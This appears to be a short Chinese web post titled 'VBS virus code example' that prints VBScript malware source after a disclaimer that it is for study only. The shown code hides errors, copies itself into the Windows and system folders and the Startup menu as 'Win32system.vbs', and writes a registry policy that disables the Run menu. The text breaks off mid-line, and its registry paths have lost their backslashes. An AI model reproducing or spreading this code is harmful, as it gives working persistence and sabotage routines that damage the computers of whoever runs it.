vbs病毒代码举例

此代码会被卡巴斯基杀掉，对于安装卡巴的电脑没有危害，此代码只供参考学习之用，请勿使用在不正当地方。

On Error Resume Next

Set fs=CreateObject("Scripting.FileSystemObject")

Set dir1=fs.GetSpecialFolder(0)

Set dir2=fs.GetSpecialFolder(1)

Set so=CreateObject("Scripting.FileSystemObject")

dim r

Set r=CreateObject("Wscript.Shell")

so.GetFile(WScript.ScriptFullName).Copy(dir1&"Win32system.vbs")

so.GetFile(WScript.ScriptFullName).Copy(dir2&"Win32system.vbs")

so.GetFile(WScript.ScriptFullName).Copy(dir1&"Start MenuPrograms启动Win32system.vbs")

//分别复制病毒到windows/winnt，system/system32，启动菜单下

r.Regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoRun",1,"REG_DWORD" //禁止“运行”菜单

r.Regwrite "HKCUSoftwareMicrosoftW